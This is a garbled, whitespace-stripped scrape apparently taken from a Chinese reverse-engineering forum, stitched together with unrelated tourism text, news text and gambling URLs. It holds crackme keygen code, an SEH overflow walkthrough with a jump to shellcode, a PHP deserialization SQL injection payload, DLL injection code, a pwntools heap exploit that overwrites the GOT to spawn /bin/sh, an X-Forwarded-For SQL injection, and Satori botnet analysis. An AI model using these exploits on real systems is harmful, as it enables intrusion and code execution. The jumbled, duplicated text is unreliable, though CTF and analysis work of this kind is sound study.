={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}如果有疑问,请亲自访问软件供应商的网站,并在那里检查更新。通过分析,下面使用python进行穷举,代码如下:importhashlibimportsysdefhash_md5(src):myMd5=()(src)myMd5_Digest=()returnmyMd5_Digestdefis_ok(v):ifv[2:12]==888aeda4ab:return1return0defdo_md5(src):x=x+=chr(ord(src[0])+1)foriinrange(1,len(src)):x+=chr(ord(src[i])+i)x=hash_md5(hash_md5(x))returnxdefget_sn(str,num):if(num==1):forxinstr:yieldxelse:forxinstr:foryinget_sn(str,num-1):yieldx+yif__name__==__main__:printis_ok(a3888aeda4abba91f31c8e0caae48cb9)#000000x=do_md5(000000)printx[2:12]==fd9e2ddbd6forsninget_sn(0123456789abcdefghijklmnopqrstuvwxyz,6):x=do_md5(sn)ifsn[2:6]==0000:printsnifis_ok(x)==1:printsn=+snbreak?我们现在的思路就是覆盖掉这个SEH异常处理链表SEHhandler还需要18*4个字节才能覆盖掉我们用mona生成一个1024+72字节的字符串.命令行参数重新载入不要忘了Imdebug加参数启动,现在可以看到已经覆盖掉了SEHhandler了我们继续单步到Printf看到了参数已经被我们覆盖掉了接下来就是寻找个跳板了,seh通常利用的是poppopret一旦进入异常处理,就会把PointertonextSEH的这个地址压入栈中进行系统处理,通过poppop然后这个地址ret到我们的eip中,因为PointertoNext..是可控的所以我们控制这个地址来控制eip,然后就是可以通过mona来找poppopret来覆盖Sehandler找到这一行PAGE_EXECUTE_READ,后面的保护机制都是falseAddress=00401804Message=0x00401804:popedi#popesi#ret|startnull,ascii{PAGE_EXECUTE_READ}找到一个ppr的地址我们打开十六进制编辑器以小端存储将尾部四个字节覆盖掉我们已经知道了当执行完我们的poppopret会把上一个函数的地址弹到eip中我们这个地址也是我们可以控制的.我们在PointertonextSEHrecord地址做一个跳板跳转至我们的shellcode中但是当前地址已经离栈底很近了,所以我们要把shellcode放置在我们的buf中,向上跳。题目下载地址:通过show()方法找到首先是需要对HITCON类进行序列化classHITCON{private$method="show";private$args=array("unionselectpassword,1,1fromuserswhereusername=orange#");private$conn=1;}$hit=newHITCON();$result=serialize($hit);var_dump($result);首先分析,提取到orange的密码。步骤:实现:HANDLEGetThePidOfTargetProcess(){//=FindWindowA(0,"Untitled-Notepad");DWORDdwInjectionProcessID;GetWindowThreadProcessId(injectionProcessHwnd,dwInjectionProcessID);cout"Notepadspid-"dwInjectionProcessIDendl;HANDLEinjectionProcessHandle=::OpenProcess(PROCESS_ALL_ACCESS|PROCESS_CREATE_THREAD,0,dwInjectionProcessID);//dwInjectionProcessID);returninjectionProcessHandle;}voidPrivilegeEscalation(){HANDLEhToken;LUIDluid;TOKEN_PRIVILEGEStp;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,hToken);LookupPrivilegeValue(NULL,SE_DEBUG_NAME,luid);=1;[0].Attributes=SE_PRIVILEGE_ENABLED;[0].Luid=luid;AdjustTokenPrivileges(hToken,0,tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);}BOOLDoInjection(char*InjectionDllPath,HANDLEinjectionProcessHandle){DWORDinjBufSize=lstrlen((LPCWSTR)InjectionDllPath)+1;LPVOIDAllocAddr=VirtualAllocEx(injectionProcessHandle,NULL,injBufSize,MEM_COMMIT,PAGE_READWRITE);WriteProcessMemory(injectionProcessHandle,AllocAddr,(void*)InjectionDllPath,injBufSize,NULL);PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");HANDLEhRemoteThread;if((hRemoteThread=CreateRemoteThread(injectionProcessHandle,NULL,0,pfnStartAddr,AllocAddr,0,NULL))==NULL){ER=GetLastError();cout"CreateRemoteThreadFailed!"endl;returnFALSE;}else{cout"CreateRemoteThreadSuccess!"endl;returnTRUE;}}*具体的实现代码在附件中上传也会附上GitHub地址。,目前有300多种荷花,有醉莲阁、珍荷苑、文化长廊、莲心桥、陆绩码头、得趣桥、四季花海、水磨坊、荷花科普馆、农家客栈、莲心广场等多个;在建项目为荷家坞民俗风情度假村、四季瓜田等。、www.vns228228.com、这使得MicrosoftEdge成为最安全的浏览器之一,在NSSLab于2017年8月23日至9月12日期间针对网络钓鱼防护的测试结果中,Edge的表现优于Chrome和Firefox。 源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG]WaitBlockList字段指向了KWAIT_BLOCK数组结构,下才能用来等待一到多个对象。UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。。但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode  市领导李建锋、黄星荣、徐育东一同巡河、调研。do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。,(完)+1漏洞证明在留言处,设置XFF为X-Forwarded-For:1,content),(,0,2,1513505345,version(),content21)#,如下所示:访问guest_成功地显示出数据库的版本号。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit():0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。从那时起,一切就都变了。、尝试寻找原因:修改了smali但未能成功,似乎是底层限制;尝试切换最新版本(),可行。OD载入,输入123456,点确定半天没反应,忽然来个内存异常。一个等待感染的c2队列中容易受到攻击的设备数量:超过2m;过去7天内一个c2控制的设备超过20k;十月十九日每日活跃设备约一万;由一个c2控制的同时在线设备的数量:大约4kSatori家族2017年4月以来,Satori恶意软件发起的攻击就已经被发现,由于CVE-2014-8361(RealtekSDK中miniigdSOAP命令执行)和CVE2017-17215(华为路由器命令执行)这样两个漏洞才使得Satori开始受关注,Satori家族有三个主要的变异样本第一种变异只扫描Internet,并通过尝试不同的密码来Telnet登录,成功登录后,首先启用shell访问,然后只执行命令“/bin/busyboxsatori”或“/bin/busyboxSATORI”enablesystemshellsh/bin/busyboxsatori(or/bin/busyboxSATORI)第二种变异增加了一个封隔器,可能会逃避静态检测,同时,攻击者在密码字典中添加“aquario”密码并且在第一次尝试时总是使用“aquario”登录。赌博游戏(如有错误,或者其他原因,欢迎指出)。也就是说,如果是这样的话,在过去的几个月中,恶意软件本身和相关的基础设施都被投入了大量的工作。,作品被人民大会堂、中南海等机构和个人收藏。。 因为对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$_SERVER方式获取。这道题还是比较简单,只是加了点反调试(关闭和禁用前台窗口,设置线程来禁止调试事件).分析见注释:00F520A0/$55pushebp00F520A1|.8BECmovebp,esp00F520A3|.6AFEpush-200F520A5|.684044F700push00F7444000F520AA|.68F0D6F500push00F5D6F0入口点00F520AF|.64:A100000000moveax,fs:[0]00F520B5|.50pusheax00F520B6|.83EC14subesp,1400F520B9|.A1DC65F700moveax,[0F765DC]00F520BE|.3145F8xor[ebp-8],eax00F520C1|.33C5xoreax,ebp00F520C3|.8945E4mov[ebp-1C],eax00F520C6|.53pushebx00F520C7|.56pushesi00F520C8|.57pushedi00F520C9|.50pusheax00F520CA|.8D45F0leaeax,[ebp-10]00F520CD|.64:A300000000movfs:[0],eax00F520D3|.E888FEFFFFcall00F51F60//调用反调试程序,关闭和禁用前台窗口(如被调试,前台窗口是调试器窗口)00F520D8|.3BF4cmpesi,esp00F520DA|.E8B1FCFFFFcall00F51D90[,//输出"password:",并读取输入SN00F520DF|.8BF0movesi,eax00F520E1|.3BF5cmpesi,ebp00F520E3|.C745DC54727573movdwordptr[ebp-24],7375725400F520EA|.C745E0744D6500movdwordptr[ebp-20],654D7400F520F1|.8D45DCleaeax,[ebp-24]00F520F4|.50pusheax/Arg200F520F5|.56pushesi|Arg100F520F6|.E8353E0000call00F55F30\,//strstr(SN,"TrustMe")00F520FB|.83C408addesp,800F520FE|.85C0testeax,eax00F52100|.-7507jnzshort00F5210900F52102|.8BCEmovecx,esi//SN中必须有"TrustMe",否则提示"error!"00F52104|.E887FDFFFFcall00F51E9000F52109|682438F700push00F73824/Procname="ZwSetInformationThread"00F5210E|.683C38F700push00F7383C|/FileName=""00F52113|.8B3D20D0F600movedi,[0F6D020]||00F52119|.FFD7calledi|\|.50pusheax|hModule00F5211C|.8B1D24D0F600movebx,[0F6D024]|00F52122|.FFD3callebx\|.8BF0movesi,eax00F52126|.6A00push000F52128|.6A00push000F5212A|.6A11push11//ThreadHideFromDebugger,禁止调试事件00F5212C|.FF151CD0F600call[0F6D01C][|.50pusheax00F52133|.FFD6callesi//CallZwSetInformationThread,禁止调试事件00F52135|.C745FC00000000movdwordptr[ebp-4],000F5213C|.A138D1F600moveax,[0F6D138]00F52141|.A34C8CF700mov[0F78C4C],eax00F52146|.C745FCFEFFFFFFmovdwordptr[ebp-4],-200F5214D|.E821000000call00F52173[|.A14C8CF700moveax,[0F78C4C]00F52157|.3B0540D1F600cmpeax,[0F6D140]00F5215D|.-7535jneshort00F5219400F5215F|.6A00push0;/ExitCode=000F52161|.FF1514D0F600call[0F6D014]\|.8B1D24D0F600movebx,[0F6D024]00F5216D|.8B3D20D0F600movedi,[0F6D020]00F52173|$682438F700push00F73824ASCII"ZwSetInformationThread"00F52178|.683C38F700push00F7383CUNICODE""00F5217D|.FFD7calledi00F5217F|.50pusheax00F52180|.FFD3callebx00F52182|.8BF0movesi,eax00F52184|.6A00push000F52186|.6A00push000F52188|.6A11push11//ThreadHideFromDebugger,禁止调试事件00F5218A|.FF151CD0F600call[0F6D01C][|.50pusheax00F52191|.FFD6callesi//CallZwSetInformationThread,禁止调试事件00F52193|.C3retn00F52194|E847FEFFFFcall00F51FE0//判断后8位是否为"20161018",是,则返回1表示成功00F52199|.85C0testeax,eax00F5219B|.-7432jzshort00F521CF00F5219D|.6A09push9;//注册码为"TrustMe20161018",则提示成功00F5219F|.E8FB300000call00F5529F00F521A4|.C70073756363movdwordptr[eax],6363757300F521AA|.C7400465737321movdwordptr[eax+4],2173736500F521B1|.C6400800movbyteptr[eax+8],000F521B5|.8BD0movedx,eax00F521B7|.E8D4120000call00F53490[|.50pusheax00F521BD|.E8BE170000call00F5398000F521C2|.685038F700push00F73850ASCII"pause"00F521C7|.E8E43F0000call00F561B000F521CC|.83C40Caddesp,0C00F521CF|33C0xoreax,eax00F521D1|.8B4DF0movecx,[ebp-10]00F521D4|.64:890D00000000movfs:[0],ecx00F521DB|.59popecx00F521DC|.5Fpopedi00F521DD|.5Epopesi00F521DE|.5Bpopebx00F521DF|.8B4DE4movecx,[ebp-1C]00F521E2|.33CDxorecx,ebp00F521E4|.E8B6340000call00F5569F00F521E9|.8BE5movesp,ebp00F521EB|.5Dpopebp00F521EC\.C3retn关闭,禁用窗口的反调试:00F51F60$,[ebp-4],[0F6D01C][[0F6D018][,eax00F51F7C.-修改段寄存器00F51F7FE8dbE800F51F80/.5Fpopedi00F51F81|.5Epopesi00F51F82|.5Bpopebx00F51F83|.8BE5movesp,ebp00F51F85|.5Dpopebp00F51F86\.,[0F775E0]入口点00F51F8F.-EB02jmpshort00F51F9300F51F91E8dbE800F51F9279db79chary,[0F78C60]//[ebp-4],,,[0F775E0]入口点,0FABEE9000F51FAF.-7502jneshort00F51FB300F51FB1E8dbE800F51FB279db79chary00F51FB3/FF75FCpushdwordptr[ebp-4]00F51FB6|.0315648CF700addedx,[0F78C64]00F51FBC|.FFD2calledx//SendMessageWWM_DESTROY关闭前台窗口,如果开着调试器,调试器就退出了00F51FBE|.61popad00F51FBF|.6A00push0;/Enable=FALSE00F51FC1|.FF75FCpushdwordptr[ebp-4]|hWnd,//禁用前台窗口00F51FC4|.FF1548D1F600call[0F6D148]\|.5Fpopedi00F51FCB|.5Epopesi00F51FCC|.5Bpopebx00F51FCD|.8BE5movesp,ebp00F51FCF|.5Dpopebp00F51FD0\.C3retn后8位判断:00F51FE0/$55pushebp00F51FE1|.8BECmovebp,esp00F51FE3|.83E4F8andesp,FFFFFFF8;qword(8-字节)堆栈对齐方式00F51FE6|.83EC1Csubesp,1C00F51FE9|.A1DC65F700moveax,[0F765DC]00F51FEE|.33C4xoreax,esp00F51FF0|.89442418mov[esp+18],eax00F51FF4|.8B15588CF700movedx,[0F78C58]ASCII"12345678"00F51FFA|.56pushesi00F51FFB|.C74424180F00000movdwordptr[esp+18],0F00F52003|.C74424140000000movdwordptr[esp+14],000F5200B|.803A00cmpbyteptr[edx],000F5200E|.C644240400movbyteptr[esp+4],000F52013|.-7504jneshort00F5201900F52015|.33C9xorecx,ecx00F52017|.-EB10jmpshort00F5202900F52019|8BCAmovecx,edx00F5201B|.8D7101leaesi,[ecx+1]00F5201E|.8BFFmovedi,edi00F52020|8A01/moval,[ecx]00F52022|.41|incecx00F52023|.84C0|testal,al00F52025|.-75F9\jnzshort00F5202000F52027|.2BCEsubecx,esi00F52029|51pushecx00F5202A|.52pushedx00F5202B|.8D4C240Cleaecx,[esp+0C]00F5202F|.E8BC070000call00F527F000F52034|.837C24140Fcmpdwordptr[esp+14],0F;//判断SN长度,一定要15位00F52039|.-7524jneshort00F5205F00F5203B|.A1588CF700moveax,[0F78C58]ASCII"12345678"00F52040|.83C007addeax,700F52043|.50pusheax/Arg1,//后8位转数字00F52044|.A3588CF700mov[0F78C58],eax|00F52049|.E845410000call00F56193\,//atoi00F5204E|.83C404addesp,400F52051|.3DFAA13301cmpeax,133A1FA//比较SN后8位是否为十进制2016101800F52056|.-7507jneshort00F5205F00F52058|.BE01000000movesi,1//后8位为"20161018",返回100F5205D|.-EB02jmpshort00F5206100F5205F|33F6xoresi,esi00F52061|837C241810cmpdwordptr[esp+18],1000F52066|.-720Cjbshort00F5207400F52068|.FF742404pushdwordptr[esp+4]/Arg100F5206C|.E85F440000call00F564D0\|.83C404addesp,400F52074|8B4C241Cmovecx,[esp+1C]00F52078|.8BC6moveax,esi00F5207A|.5Epopesi00F5207B|.33CCxorecx,esp00F5207D|.E81D360000call00F5569F00F52082|.8BE5movesp,ebp00F52084|.5Dpopebp00F52085\.C3retn。ida打开,定位到main函数后f5反编译mp_set_str(N,(__int64)6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189,0x10u);mp_set_str(D,(__int64)2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B,0x10u);sub_140007AD0(T,0i64);mpz_mod((__int64)T,(__int64)N,(__int64)p);if(!(unsignedint)mpz_cmp_ui((__int64)T,0i64)){mpz_divexact(q,(__int64)N,(__int64)p);if((signedint)mpz_cmp((__int64)p,(__int64)q)=0){mpz_sub_ui(p,(__int64)p,1ui64);mpz_sub_ui(q,(__int64)q,1ui64);mpz_mul((__int64)T,(__int64)p,(__int64)q);mpz_invert(T,(__int64)e,(__int64)T);v10=mpz_cmp((__int64)D,(__int64)T);v11=注册成功!!!if(!v10)gotoLABEL_16;}}通过对比gmp大数库,重命名函数名。之后分析的进程注入技术都开源到这一个项目上。意见和结论在这次最新的攻击中,BadRabbit和NotPetya之间的重叠可能牵涉到同一始作俑者。 通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。zip解压缩apk文件,拿到.dex文件,经过dex2jar,jd-gui反编译拿到java代码,发现被名称混淆了,而且字符串也加密了。do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。,原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。、www.vns2997.com、单线程Cheney半空间复制在M62之前,V8使用了单线程Cheney半空间复制算法,它非常适合单核执行和分代方案。 ,但是如果Client-Ip和X-Forwarded-For存在值就能够保证触发漏洞了,这种漏洞主要是出现在cms中的sql注入中。桂平西山每年都举办观音三诞节和浴佛节,在国内及港、澳、台地区影响很大,吸引大量中外游客。源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG]但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode下面程序进行穷举:importosdeflength(number):n=numberl=0whilen0:n=n/10l+=1returnldefisok(number):res=0n=numberwhilen0:res=res*10+n%10n=n/10ifres==number:return1return0deftest(a):b2=a*9i=0whilei2:b2*=ab2*=9if(isok(b2)==1):print(%d=%d%(a,b2))breaki+=1return0defskip(a):b=1n=awhilen0:if((n%10)==0):a+=bn=n/10b=b*10returnadefmain():printskip(10089000)i=11111111whilei=99999999:i=skip(i)test(i)i+=1printoverreturn0if__name__==__main__:main()输出结果为:需要反向输入,即sn=97654321,我知道,但那已经是10年前的事了。看雪论坛版主座谈,追忆往昔,眺望未来本次峰会,我们有幸邀请到了看雪学院创始人kanxue、中国个人站长第一人高春辉(左二)、看雪版主飞速(左三)、看雪老坛主CCdebuger(右三)、『外文翻译』版主zmworm(右二)、『智能设备』版主gjden(右一),讲述他们与看雪的这十几年的成长史及对互联网安全发展的期望。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A该结构被工作集整理者用来判定该特定页是否是一个潜在的可整理候选页,也就是说从进程的工作集中移除。与此同时,有数百万潜在的易受攻击的设备IP正在排队等待由自动加载程序处理的c2系统,该加载程序会向设备注入恶意代码以扩大僵尸网络,僵尸网络部分借用了一些mirai源代码,但是与mirai在几个关键行为上有明显的不同,其中包括:不再破解任何弱密码,只能利用物联网设备的漏洞集成LUA执行环境,可以支持和执行更复杂的攻击扫描动作比较小,所以不会触发一些安全警告或者防火墙之类设备与C2服务器数据交互的模式:样本下载服务器:,可以从这个服务器下载bot程序,它通常使用“d”作为二级域名,如主控端服务器:,用于控制设备,发送命令,通常使用“e”作为子域,如扫描服务器:,用于收集的潜在存在漏洞的设备信息,通常使用“f”作为子域,如。 